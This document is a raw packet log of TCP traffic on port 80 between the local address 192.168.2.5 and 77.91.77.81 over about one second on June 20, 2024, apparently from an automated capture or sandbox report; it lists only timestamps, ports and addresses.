Jun 20, 2024 15:38:13.612941027 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.612970114 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.613034010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.613053083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.613074064 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.613095999 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.613387108 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.613399029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.613429070 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.613442898 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.613920927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.613931894 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.613943100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.613966942 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.613982916 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.614001989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.692106962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.692262888 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.723419905 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723433018 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723438978 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723443985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723453999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723459005 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723465919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723469973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723480940 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723486900 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723498106 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723510027 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723562002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723615885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.723615885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.723615885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.723660946 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723680973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723691940 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723705053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.723716021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.723726988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.723740101 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.723762989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.724112034 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.724123955 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.724133968 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.724153996 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.724159956 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.724164963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.724180937 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.724215984 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.724679947 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.724713087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.724725008 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.724736929 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.724736929 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.724769115 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.724785089 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.725131989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.725142002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.725155115 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.725167990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.725179911 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.725194931 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.725217104 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.728614092 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.728635073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.728647947 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.728660107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.728668928 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.728672981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.728677988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.728702068 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.728723049 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.728797913 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.728844881 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.728944063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.728955984 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.728965998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.728995085 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.729003906 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.729015112 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.729017973 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.729026079 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.729042053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.729052067 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.729062080 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.729074955 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.729103088 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.729839087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.729851007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.729862928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.729888916 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.729904890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.729913950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.729926109 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.729962111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.729962111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.809608936 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.809623003 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.809633970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.809650898 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.809659958 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.809904099 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.840886116 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.840898991 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.840909004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.840946913 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841010094 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841022015 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841056108 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841084957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841097116 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841106892 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841119051 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841198921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841228962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841228962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841228962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841228962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841252089 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841407061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841425896 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841437101 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841461897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841475964 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841567039 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841578960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841588974 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841602087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841619968 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841639996 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841655970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841666937 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841669083 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841677904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841690063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841698885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841701984 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841710091 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841713905 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841726065 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.841736078 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.841763020 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.842489004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842499971 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842509985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842545033 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.842557907 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.842644930 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842655897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842674017 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842684984 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842695951 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842701912 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.842709064 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842725039 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.842746973 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.842809916 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842819929 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842838049 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842849970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842858076 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.842859983 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.842881918 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.842905045 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.843235016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843246937 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843257904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843267918 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843278885 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843287945 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.843291044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843302011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843302965 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.843319893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843322039 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.843332052 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843342066 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843347073 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.843353033 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843364954 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843374968 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843378067 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.843388081 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.843394995 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.843419075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.843442917 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.846266985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846278906 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846299887 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846312046 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846324921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846323967 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.846333981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846354008 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.846391916 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.846400976 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846415997 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846427917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846440077 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846441984 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.846451998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846467018 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.846493959 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.846906900 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846916914 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846926928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846936941 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846947908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846954107 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.846959114 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846968889 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.846971035 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846991062 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.846993923 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.847018003 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.847027063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.847040892 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.847059965 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.847064972 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.847076893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.847088099 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.847099066 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.847100973 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.847111940 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.847119093 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.847122908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.847132921 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.847161055 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.896226883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.896240950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.896250963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.896317005 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.896364927 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.896378994 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.896389961 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.896400928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.896414042 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.896419048 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.896437883 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.896461964 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.896569014 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.896619081 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.927704096 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.927779913 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.927867889 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.927879095 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.927887917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.927900076 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.927910089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.927920103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.927921057 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.927947044 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.927977085 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.928060055 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.928071022 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.928081989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.928092957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.928103924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.928111076 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.928114891 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.928126097 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.928136110 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.928137064 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.928148985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.928153992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.928177118 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.928190947 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.957870007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.957881927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.957930088 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958022118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958031893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958043098 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958072901 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958086967 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958184958 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958197117 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958206892 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958235979 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958249092 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958368063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958379030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958389044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958400011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958410978 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958419085 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958452940 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958528996 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958540916 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958551884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958563089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958570004 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958575010 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958585024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958597898 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958600998 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958609104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958635092 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958650112 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958828926 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958839893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958849907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958861113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958873034 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958879948 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958883047 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958901882 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958916903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.958975077 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958986998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.958997011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959007978 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959019899 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959027052 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959031105 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959045887 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959073067 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959148884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959160089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959170103 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959181070 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959192038 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959225893 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959239960 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959239960 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959312916 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959323883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959342003 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959357977 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959372044 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959484100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959496021 CEST	80	49710	77.91.77.81	192.168.2.5
